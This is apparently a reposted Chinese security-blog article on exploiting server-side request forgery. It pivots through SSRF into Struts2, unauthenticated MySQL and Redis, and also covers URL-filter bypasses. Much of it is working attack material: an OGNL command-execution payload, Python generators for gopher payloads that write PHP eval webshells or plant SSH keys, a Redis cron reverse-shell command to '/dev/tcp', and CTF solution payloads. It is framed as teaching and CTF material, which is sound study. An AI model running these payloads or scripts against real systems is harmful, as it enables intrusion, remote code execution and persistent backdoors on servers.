SSRF服务端请求伪造:漏洞利用深入浅出

admin 2026-06-15 04:35:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入解析SSRF服务端请求伪造漏洞的原理、利用方式与防护要点。详细介绍了filegetcontents、fsockopen、curl_exec、SoapClient等易产生漏洞的PHP函数,以及file、ftp、dict、gopher等协议的利用方法,重点剖析了gopher协议作为万能协议的攻击价值。文章通过实际代码演示了漏洞利用过程,提供了从端口扫描到内网攻击的完整技术路径,对WEB安全防护具有重要参考价值。 综合评分: 85 文章分类: WEB安全,漏洞分析,实战经验,安全工具,渗透测试


对内部主机和端口发送请求包进行攻击

get 方法可以攻击 web,比如 struts2 命令执行、Thinkphp、Jboss 等

针对内网 192.168.1.139 这台服务器进行攻击,执行命令 whoami:

http://localhost/ssrf.php?url=<u>http://192.168.1.139</u>:8081/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action

post 方法我们可以用 gopher 协议去发送请求数据包

http://localhost/ssrf.php?url=gopher://192.168.1.124:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword

0x06 MySQL 未授权攻击

文件读取

MySQL 数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数(scramble)并发送给客户端,客户端用挑战数加密密码后返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程

登录时需要用服务器发来的 scramble 加密密码,但是当数据库用户密码为空时,加密后的密文也为空。client 给 server 发的认证包就是相对固定的了。这样就无需交互,可以通过 gopher 协议来发送

正常的 MySQL 认证:

  • • Client —-连接请求—-> Server
  • • Client <—scramble(挑战数)— Server   (seq=0)
  • • Client —-加密后的密码—-> Server   (seq=1)

关键:密码为空时,加密后的密文也是空的! 所以客户端发的认证包是固定可预测的

环境模拟:

<?php
$ch&nbsp;=&nbsp;curl_init();
curl_setopt($ch, CURLOPT_URL,&nbsp;$_GET['url']);
curl_setopt($ch, CURLOPT_HEADER,&nbsp;0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,&nbsp;true);
curl_setopt($ch, CURLOPT_TIMEOUT,&nbsp;3);
$data&nbsp;=&nbsp;curl_exec($ch);
curl_close($ch);
header('Content-Type: text/plain; charset=utf-8');
echo&nbsp;$data;
?>

本地搭建的数据库的设立了一个名为 ssrf 的用户,且赋予其权限,允许空密码登录:

CREATE&nbsp;USER&nbsp;'ssrf'@'localhost';
GRANT&nbsp;ALL&nbsp;ON&nbsp;*.*&nbsp;TO&nbsp;'ssrf'@'localhost';

创建测试数据:

CREATE&nbsp;DATABASE IF&nbsp;NOT&nbsp;EXISTS&nbsp;test;
USE test;
CREATE TABLE&nbsp;IF&nbsp;NOT&nbsp;EXISTS&nbsp;flag (id&nbsp;INT, content&nbsp;VARCHAR(255));
INSERT INTO&nbsp;flag&nbsp;VALUES&nbsp;(1,&nbsp;'FLAG{test_flag_here}');

payload 生成脚本:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
_"""_
_用法: python exploit.py -u 用户名 -d information_schema -p "" -P "sql语句" -v -c_
_"""_

import&nbsp;struct
import&nbsp;hashlib
import&nbsp;argparse
from&nbsp;urllib.parse&nbsp;import&nbsp;quote

def&nbsp;sha1(data):
&nbsp; &nbsp; return&nbsp;hashlib.sha1(data).digest()

def&nbsp;xor_string(s1, s2):
&nbsp; &nbsp; result =&nbsp;bytearray()
&nbsp; &nbsp; for&nbsp;i&nbsp;in&nbsp;range(min(len(s1),&nbsp;len(s2))):
&nbsp; &nbsp; &nbsp; &nbsp; result.append(s1[i] ^ s2[i])
&nbsp; &nbsp; return&nbsp;bytes(result)

def&nbsp;mysql_native_password(password, scramble):
&nbsp; &nbsp; if&nbsp;not&nbsp;password:
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;b""
&nbsp; &nbsp; stage1 = sha1(password.encode())
&nbsp; &nbsp; stage2 = sha1(stage1)
&nbsp; &nbsp; stage3 = sha1(scramble + stage2)
&nbsp; &nbsp; return&nbsp;xor_string(stage1, stage3)

def&nbsp;add_mysql_header(body, seq):
&nbsp; &nbsp; length =&nbsp;len(body)
&nbsp; &nbsp; return&nbsp;struct.pack("<I", length)[:3] + struct.pack("B", seq) + body

def&nbsp;generate_payload(host, port, username, password, database, sql):
&nbsp; &nbsp; scramble =&nbsp;b"\x00"&nbsp;*&nbsp;20
&nbsp; &nbsp; raw =&nbsp;bytearray()

&nbsp; &nbsp; # 认证包
&nbsp; &nbsp; auth =&nbsp;bytearray()
&nbsp; &nbsp; client_flag =&nbsp;0x0AA285
&nbsp; &nbsp; auth += struct.pack("<I", client_flag &&nbsp;0xFFFFFFFF)
&nbsp; &nbsp; auth += struct.pack("<I",&nbsp;16777215)
&nbsp; &nbsp; auth += struct.pack("B",&nbsp;0xFF)
&nbsp; &nbsp; auth +=&nbsp;b"\x00"&nbsp;*&nbsp;23
&nbsp; &nbsp; auth += username.encode() +&nbsp;b"\x00"
&nbsp; &nbsp; resp = mysql_native_password(password, scramble)
&nbsp; &nbsp; auth += struct.pack("B",&nbsp;len(resp))
&nbsp; &nbsp; if&nbsp;resp:
&nbsp; &nbsp; &nbsp; &nbsp; auth += resp
&nbsp; &nbsp; auth +=&nbsp;b"mysql_native_password\x00"
&nbsp; &nbsp; raw += add_mysql_header(bytes(auth), seq=1)

&nbsp; &nbsp; # USE database
&nbsp; &nbsp; if&nbsp;database:
&nbsp; &nbsp; &nbsp; &nbsp; q =&nbsp;b"\x03"&nbsp;+&nbsp;f"USE&nbsp;{database}".encode()
&nbsp; &nbsp; &nbsp; &nbsp; raw += add_mysql_header(q, seq=0)

&nbsp; &nbsp; # SQL 查询
&nbsp; &nbsp; q =&nbsp;b"\x03"&nbsp;+ sql.encode()
&nbsp; &nbsp; raw += add_mysql_header(q, seq=0)

&nbsp; &nbsp; # COM_QUIT
&nbsp; &nbsp; raw += add_mysql_header(b"\x01", seq=0)

&nbsp; &nbsp; gopher_url =&nbsp;f"gopher://{host}:{port}/_{quote(raw)}"
&nbsp; &nbsp; return&nbsp;gopher_url, raw

def&nbsp;main():
&nbsp; &nbsp; parser = argparse.ArgumentParser(description="Gopher MySQL Attack")
&nbsp; &nbsp; parser.add_argument("-u",&nbsp;"--user", required=True,&nbsp;help="MySQL用户")
&nbsp; &nbsp; parser.add_argument("-d",&nbsp;"--database", default="",&nbsp;help="数据库名")
&nbsp; &nbsp; parser.add_argument("-p",&nbsp;"--password", default="",&nbsp;help="密码")
&nbsp; &nbsp; parser.add_argument("-P",&nbsp;"--sql", required=True,&nbsp;help="SQL语句")
&nbsp; &nbsp; parser.add_argument("-H",&nbsp;"--host", default="127.0.0.1",&nbsp;help="MySQL地址")
&nbsp; &nbsp; parser.add_argument("--port",&nbsp;type=int, default=3306,&nbsp;help="MySQL端口")
&nbsp; &nbsp; parser.add_argument("-v",&nbsp;"--verbose", action="store_true",&nbsp;help="显示详细信息")
&nbsp; &nbsp; parser.add_argument("-c",&nbsp;"--curl", action="store_true",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; help="输出二次编码的 SSRF 链接(放 ?url= 用)")

&nbsp; &nbsp; args = parser.parse_args()

&nbsp; &nbsp; gopher_url, raw = generate_payload(
&nbsp; &nbsp; &nbsp; &nbsp; args.host, args.port, args.user, args.password,
&nbsp; &nbsp; &nbsp; &nbsp; args.database, args.sql
&nbsp; &nbsp; )

&nbsp; &nbsp; if&nbsp;args.verbose:
&nbsp; &nbsp; &nbsp; &nbsp; print(f"\n[*] Gopher URL:")
&nbsp; &nbsp; &nbsp; &nbsp; print(gopher_url)
&nbsp; &nbsp; &nbsp; &nbsp; print(f"\n[*] Payload hex ({len(raw)}&nbsp;bytes):")
&nbsp; &nbsp; &nbsp; &nbsp; for&nbsp;i&nbsp;in&nbsp;range(0,&nbsp;len(raw),&nbsp;32):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = raw[i:i+32]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hx =&nbsp;" ".join(f"{b:02x}"&nbsp;for&nbsp;b&nbsp;in&nbsp;chunk)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; asc =&nbsp;"".join(chr(b)&nbsp;if&nbsp;32&nbsp;<= b <&nbsp;127&nbsp;else&nbsp;"."&nbsp;for&nbsp;b&nbsp;in&nbsp;chunk)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"&nbsp; &nbsp; {hx:<48s}&nbsp; {asc}")
&nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; print(gopher_url)

&nbsp; &nbsp; if&nbsp;args.curl:
&nbsp; &nbsp; &nbsp; &nbsp; double = quote(gopher_url, safe="")
&nbsp; &nbsp; &nbsp; &nbsp; print(f"\n[*] SSRF 链接 (?url= 二次编码):")
&nbsp; &nbsp; &nbsp; &nbsp; print(double)

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

在 BP 中发包需要使用二次编码的 payload:

接下来就是常规的 sql 查询了:

python exploit.py -u ssrf -d ssrf_demo -p&nbsp;""&nbsp;-P&nbsp;"select * from flag"&nbsp;-c

未授权写 shell

满足条件:

  • • 数据库账户拥有 FILE 权限;
  • • MySQL 对目标目录具有写权限;
  • • 知道 Web 根目录位置;
  • • 目标环境配置存在缺陷;

那么攻击者可能尝试将内容写入服务器文件系统

SELECT&nbsp;1,"<?php @assert($_POST['t']);?>",3,4&nbsp;INTO&nbsp;OUTFILE&nbsp;'/var/www/html/shell.php';

需要关注的点就是:outfile 后面不能接 0x 开头或者 char 转换以后的路径,只能是单引号路径。这个问题在 php 注入中更加麻烦,因为会自动将单引号转义成’,那么基本就无了,但是 load_file

SELECT&nbsp;LOAD_FILE('/etc/passwd')

后面的路径可以是单引号、0x、char 转换的字符,但是路径中的斜杠是/而不是\

漏洞原理

MySQL 客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;当无需密码认证时直接发送 TCP/IP 数据包即可。所以在非交互模式下登录并操作 MySQL 只能在无需密码认证,未授权情况下进行

进行 mysql 查询的时候有数据包交互,我们要做的就是伪造这种数据包交互,进行 curl,当然,这种我们伪造的数据包是利用 gopher 协议进行发送的

例题演示

CTFSHOW web359

抓包发现 POST 参数 returl,尝试传递 url

题目提示打无密码 mysql,利用自动化工具 Gopherus 生成 payload,用户为 root,sql 语句为 select '<?php eval($_GET[c]);?>' into outfile '/var/www/html/c.php';

将生成的 payload 再次编码,放进 bp 发包

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2547%2545%2554%255b%2563%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

webshell 就写进了 /c.php,访问进行 rce 即可

0x07 Redis 未授权攻击

漏洞原理

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器

漏洞的产生条件有以下两点:

  • • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
  • • 没有设置密码认证(默认为空),可以免密码远程登录 redis 服务

在 SSRF 漏洞中,如果通过端口扫描等方法发现目标主机上开放 6379 端口,则目标主机上很有可能存在 Redis 服务。此时,如果目标主机上的 Redis 由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用 Gopher 协议远程操纵目标主机上的 Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写 WebShell、写 SSH 公钥、创建计划任务反弹 Shell 等…..

思路都就是先将 Redis 的本地数据库存放目录设置为 web 目录、~/.ssh 目录或/var/spool/cron 目录等,然后将 dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行 save 或 bgsave 保存,则我们就指定的目录里写入指定的文件了

RESP 协议

Redis 未授权访问

监听网络流量,将捕获发往 Redis 的 TCP 数据包保存到 redis.pcap

sudo&nbsp;tcpdump -i lo -nn -s 0 port 6379 -w /tmp/redis.pcap

另开一个命令行窗口连接 Redis

redis-cli

拿到本地用 wireshark 分析下数据包,追踪下 TCP 流:

Redis 服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信

RESP 协议是在 Redis 1.2 中引入的,但它成为了与 Redis 2.0 中的 Redis 服务器通信的标准方式

RESP 实际上是一个支持以下数据类型的序列化协议

  • • 简单字符串
  • • 错误
  • • 整数
  • • 批量字符串
  • • 数组

RESP 在 Redis 中用作请求 – 响应协议的方式如下:

  1. 1. 客户端将命令作为 Bulk Strings 的 RESP 数组发送到 Redis 服务器
  2. 2. 服务器根据命令实现回复一种 RESP 类型

在 RESP 中,某些数据的类型取决于第一个字节:

  • • 对于客户端请求 Simple Strings,回复的第一个字节是 +
  • • 对于客户端请求 error,回复的第一个字节是 -
  • • 对于客户端请求 Integer,回复的第一个字节是 :
  • • 对于客户端请求 Bulk Strings,回复的第一个字节是 $
  • • 对于客户端请求 array,回复的第一个字节是 *

此外,RESP 能够使用稍后指定的 Bulk Strings 或 Array 的特殊变体来表示 Null 值。

在 RESP 中,协议的不同部分始终以 "\r\n"(CRLF) 结束

Bulk Strings 用于表示长度最大为 512 MB 的单个二进制安全字符串,按以下方式编码:

  • • $字节数:一个 $ 后跟组成字符串的字节数,由 CRLF 终止。
  • • 字符串数据
  • • CRLF

字符串 G3ng4r 的编码如下:$6\r\nG3ng4r\r\n,如下图格式

RESP Arrays 使用以下格式发送:

  • • *元素数* 字符作为第一个字节,后跟数组中的元素数,后跟 CRLF
  • • 数组中的每个元素都附加 RESP 类型

现在通过下图理解数据包:

  • • 每一个 *number 代表每一行命令,number 代表每行命令中数组中的元素个数:图中的 *3,代表 config get dbfilename 这行命令的 3 个元素
  • • $number 代表每个元素的长度:$6,代表 config 长度

Redis 认证访问

在 redis-cli 中修改 redis 密码后再次进入 redis

CONFIG SET requirepass 123456

可以看到我们进行 PING 命令时提示 NOAUTH Authentication required,需要进行密码认证

AUTH 123456

此后每次请求命令执行之前都使用下面格式进行验证:

*2
$4
AUTH
$6
123456

官方文档中提到:客户端可以通过一个写操作发送多个命令,而不需要在发出下一个命令之前读取上一个命令的服务器应答

因此,在具有认证(弱口令)的情况下,我们依然可以进行与未授权相同的攻击方式,只需要在攻击脚本中加上验证数据即可

攻击方式

写进定时任务

flushallset 1&nbsp;'\n\n*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\n\n'config&nbsp;set&nbsp;dir&nbsp;/var/spool/cron/config&nbsp;set&nbsp;dbfilename rootsave

我们来一条条解释 redis 命令

  • • flushall:删除 Redis 中所有数据,避免原有内容干扰后续写入
  • • set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/反弹IP/反弹端口 0>&1\n\n':设置键名为 1,键值为反弹 shell,其中 */1 * * * * 是 Cron(Linux 计划任务)的时间表达式,表示每分钟执行一次
  • • config set dir /var/spool/cron/config:修改 Redis 持久化文件的保存目录,/var/spool/cron/是 Linux 计划任务相关目录,目的是让 Redis 把持久化文件写到系统敏感目
  • • config set dbfilename root:修改 Redis 持久化文件名
  • • save:保存设置

绝对路径写 Webshell

于实战而言利用价值不大,开 Redis 的内网服务器一般不会开 Web 服务,但却是 CTF 中常见的考点

flushallset 1&nbsp;'<?php **eval**($_POST["cmd"]);?>'config&nbsp;set&nbsp;dir&nbsp;/var/www/htmlconfig&nbsp;set&nbsp;dbfilename shell.phpsave

webshell 被写进 /shell.php

gopher 协议生成脚本:

import&nbsp;urllib.parse

protocol =&nbsp;"gopher://"
ip =&nbsp;"192.168.0.141"
port =&nbsp;"6379"
shell =&nbsp;"\n\n<?php eval($_POST[\"cmd\"]);?>\n\n"
filename =&nbsp;"shell.php"
path =&nbsp;"/var/www/"
passwd =&nbsp;""

cmd = [
&nbsp; &nbsp; "flushall",
&nbsp; &nbsp; "set 1 {}".format(shell.replace(" ",&nbsp;"${IFS}")),
&nbsp; &nbsp; "config set dir {}".format(path),
&nbsp; &nbsp; "config set dbfilename {}".format(filename),
&nbsp; &nbsp; "save"
]

if&nbsp;passwd:
&nbsp; &nbsp; cmd.insert(0,&nbsp;"AUTH {}".format(passwd))

payload = protocol + ip +&nbsp;":"&nbsp;+ port +&nbsp;"/_"

def&nbsp;redis_format(arr):
&nbsp; &nbsp; CRLF =&nbsp;"\r\n"
&nbsp; &nbsp; redis_arr = arr.split(" ")
&nbsp; &nbsp; cmd =&nbsp;""
&nbsp; &nbsp; cmd +=&nbsp;"*"&nbsp;+&nbsp;str(len(redis_arr))
&nbsp; &nbsp; for&nbsp;x&nbsp;in&nbsp;redis_arr:
&nbsp; &nbsp; &nbsp; &nbsp; cmd += CRLF +&nbsp;"$"&nbsp;+&nbsp;str(len(x.replace("${IFS}",&nbsp;" "))) + CRLF + x.replace("${IFS}",&nbsp;" ")
&nbsp; &nbsp; cmd += CRLF
&nbsp; &nbsp; return&nbsp;cmd

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; for&nbsp;x&nbsp;in&nbsp;cmd:
&nbsp; &nbsp; &nbsp; &nbsp; payload += urllib.parse.quote(redis_format(x))
&nbsp; &nbsp; payload = urllib.parse.quote(payload)
&nbsp; &nbsp; with&nbsp;open('Result.txt',&nbsp;'w')&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; f.write(payload)
&nbsp; &nbsp; with&nbsp;open("Result.txt",&nbsp;"r")&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; for&nbsp;line&nbsp;in&nbsp;f.readlines():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(line.strip())

写入 ssh 公钥

使用 ssh-keygen -t rsa 生成公钥和私钥。RSA 加密算法就是公钥加密,私钥解密;所以我们要把公钥给服务器,然后用自己私钥登录

注意如果 redis 那台服务器没有目录的话一定要想办法生成好,不然会报路径错误

Redis 命令写入公钥

flushallset 1&nbsp;'公钥'config&nbsp;set&nbsp;dir&nbsp;/root/.ssh/config&nbsp;set&nbsp;dbfilename authorized_keyssave

gopher 协议生成脚本

import&nbsp;urllib.parse

protocol =&nbsp;"gopher://"
ip =&nbsp;"192.168.0.141"
port =&nbsp;"6379"
ssh_pub = (
&nbsp; &nbsp; "ssh-rsa AAAAB3NzaC1yc2EAAAADAQ"
&nbsp; &nbsp; "ABAAABAQC8YIKqm8JZRdoi2FCY97+fNp+lT"
&nbsp; &nbsp; "CEwoPPoBGOKLLWYeeKsm3gRNy7kmHx1IHhsm"
&nbsp; &nbsp; "yIknEcbQCciBx41Ln+1SIbEqYVFksHNxk8xG"
&nbsp; &nbsp; "iaxjsUOYATqQ1Lkq/ZMxKAzpq08uGp17URbJmv3JtuKEkHPdEHDqvBQJLUVJCCvAm86Yer8y663BFxRv5AXwSkCYquL"
&nbsp; &nbsp; "P7XvG6yyYATdoRPJCdqjTtsGIlpJOH4gMfEhZOxKsLzwZJIWYose2BEA1REM7Nfxx2Oqva/hSErf5RqXgXXSWC3/jBlz"
&nbsp; &nbsp; "P2xof1a4CDRL9LoKLLTwUFQKWSMfnjMKYH3+uZIg4MyUAdWWwubEhpS6lpJd wzf@wzf-virtual-machine"
)
filename =&nbsp;"authorized_keys"
path =&nbsp;"/root/.ssh/"
passwd =&nbsp;""

cmd = [
&nbsp; &nbsp; "flushall",
&nbsp; &nbsp; "set 1 {}".format(ssh_pub.replace(" ",&nbsp;"${IFS}")),
&nbsp; &nbsp; "config set dir {}".format(path),
&nbsp; &nbsp; "config set dbfilename {}".format(filename),
&nbsp; &nbsp; "save",
]

if&nbsp;passwd:
&nbsp; &nbsp; cmd.insert(0,&nbsp;"AUTH {}".format(passwd))

payload = protocol + ip +&nbsp;":"&nbsp;+ port +&nbsp;"/_"

def&nbsp;redis_format(arr):
&nbsp; &nbsp; CRLF =&nbsp;"\r\n"
&nbsp; &nbsp; redis_arr = arr.split(" ")
&nbsp; &nbsp; cmd =&nbsp;""
&nbsp; &nbsp; cmd +=&nbsp;"*"&nbsp;+&nbsp;str(len(redis_arr))
&nbsp; &nbsp; for&nbsp;x&nbsp;in&nbsp;redis_arr:
&nbsp; &nbsp; &nbsp; &nbsp; cmd += CRLF +&nbsp;"$"&nbsp;+&nbsp;str(len(x.replace("${IFS}",&nbsp;" "))) + CRLF + x.replace("${IFS}",&nbsp;" ")
&nbsp; &nbsp; cmd += CRLF
&nbsp; &nbsp; return&nbsp;cmd

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; for&nbsp;x&nbsp;in&nbsp;cmd:
&nbsp; &nbsp; &nbsp; &nbsp; payload += urllib.parse.quote(redis_format(x))
&nbsp; &nbsp; payload = urllib.parse.quote(payload)
&nbsp; &nbsp; with&nbsp;open("Result.txt",&nbsp;"w")&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; f.write(payload)
&nbsp; &nbsp; with&nbsp;open("Result.txt",&nbsp;"r")&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; for&nbsp;line&nbsp;in&nbsp;f.readlines():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(line.strip())

例题演示

CTFSHOW web360** **题目源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER,&nbsp;0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,&nbsp;1);
$result=curl_exec($ch);
curl_close($ch);
echo&nbsp;($result);
?>

dict 协议探测 6379 端口回显了报错信息,说明其上开启了 redis 服务,探测 info 路由发现确实如此

手写 redis 命令,注意 Redis 写入的是原始二进制字节,为了保护 payload 中特殊字符字符的完整需要进行 16 进制编码

url=dict://127.0.0.1:6379/flushall

url=dict://127.0.0.1:6379/set shell "\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3f\x3e"

url=dict://127.0.0.1:6379/config set dir /var/www/html

url=dict://127.0.0.1:6379/config set dbfilename shell.php

url=dict://127.0.0.1:6379/save

访问我们写入的后门 getshell

以上主要是为了演示 redis 命令执行,事实上可以直接通过 Gopherus 生成 gopher 协议的 payload 完成写入 webshell 操作:

0x08 绕过手法

URL 解析特性绕过

URL 的完整格式:

[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

在 URL 中:

  • • @ 符号用于分隔认证信息和主机地址,因此 ctf 会被识别成认证信息,127.0.0.1 作为请求主机地址;
  • • ? 表示查询字符串开始,后面的内容作为参数处理,而参数是可有可无的
  • • # 表示片段标识符
url=http://[email protected]/flag.php?any
url=http://[email protected]/flag.php#any

等价于 http://127.0.0.1/flag.php

进制绕过

以 192.168.0.1 为例:

  • • 十六进制:C0A80001
  • • 十进制:3232235521
  • • 二进制:11000000101010000000000000000001

对于 127.0.0.1

http://127.0.0.1/
http://2130706433/
http://0x7F000001/
http://0x7F.0.0.1/
http://017700000001/
http://0x7F.0.0.1/

IP 地址特殊写法绕过

127.1 是 127.0.0.1 最经典的省略写法。系统会自动将其补全为 127.0.0.1

http://127.1/

0 是 0.0.0.0 的极简省略写法。在某些系统、命令行工具或网络库中,单个 0 可以被识别并指向本机。

http://0/

整个 127.0.0.0/8 网段都是环回地址。根据 RFC 标准,从 127.0.0.1 到 127.255.255.254 的任何一个地址都会回环到本机

http://127.127.127.127

域名解析绕过

网上申请一个域名,假设为 hack .attack.com,将其添加一条 A 记录使其解析到 127.0.0.1,此后如果有人 ping http://hack.attack.com,就会 ping 127.0.0.1,那么同理,如果这样构造 payload,就可以实现访问本地

http://hack.attack.com

重定向绕过&短网址绕过

在公网服务器网站下面创建一个 location.php,当服务器访问到这里时,就会被重定向到本机 80 端口下的 flag.php

<?php
header("Location:http://127.0.0.1/flag.php");
?>

如果 192.168.0.1.xip.io 都被过滤了,但是重定向没有被控制;可以去 TINYURL 生成一个短 URL

访问短 URL 的流程就是

https://tinyurl.com/4czmrv9d->302 跳转-> 成功访问 192.168.0.1,这样就成功绕过了检查

协议绕过

如果是 php,可以试试 php 所有的伪协议以及冷门的非 HTTP 协议

php://系列
zip://
bzip2://
zlib://系列
data://
phar://
file://
dict://
sftp://
ftp://
tftp://
ldap://
gopher://

特殊用法绕过

http://[::]:80/
http://0000::1:80/
http://0/
192。168。0。1

泛域名解析绕过

xip.io 是一个提供通配符 DNS 解析的魔法域名。你可以无需配置,将自定义的任何域名解析到指定的 IP 地址。假设你的 IP 地址是 10.0.0.1,你只需使用 前缀域名+IP地址+xip.io 即可完成相应自定义域名解析

10.0.0.1.xip.io &nbsp; &nbsp; &nbsp; &nbsp; # 解析到 10.0.0.1
www.10.0.0.2.xip.io &nbsp; &nbsp; # www 子域解析到 10.0.0.2
mysite.10.0.0.3.xip.io &nbsp;# mysite 子域解析到 10.0.0.3
foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4

xip.io可以指向任意域名,如127.0.0.1.xip.io,可解析为127.0.0.1

Enclosed alphanumerics字符集绕过

能在这个网站看到这个字符合集,挑选合适的字符就行,适用于域名而不适用于直接IP访问

https://ⓦⓦⓦ.ⓔⓣⓔsⓣⓔ.ⓒⓄⓜ/
是完全等同于https://www.eteste.com/

“`

DNS 重绑定绕过

推荐文章:https://www.anquanke.com/post/id/262430#h3-50

  1. 1. 判定你给的 IP 或者域名解析后的 IP 是否在黑名单中
  2. 2. 若在,退出报错
  3. 3. 若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块

所以思路很简单:你只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换

效果类比:你访问 wwfcww.xyz 这个域名,第一次解析的 IP 是 192.168.0.1;而第二次解析的 IP 是 127.0.0.1

这个操作,就叫做 DNS重绑定

参考:

https://www.cnblogs.com/miruier/p/13907150.html

https://blog.csdn.net/qq_61778128/article/details/127505896

https://www.freebuf.com/articles/web/303275.html

https://www.anquanke.com/post/id/262430#h3-3

https://blog.csdn.net/crisprx/article/details/104251284

https://blog.csdn.net/2301_80027701/article/details/153080961

欢迎师傅们加入Zer0day交流群友好交流


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Zer0day安全 G3ng4r G3ng4r《SSRF服务端请求伪造:漏洞利用深入浅出》

    评论:0   参与:  0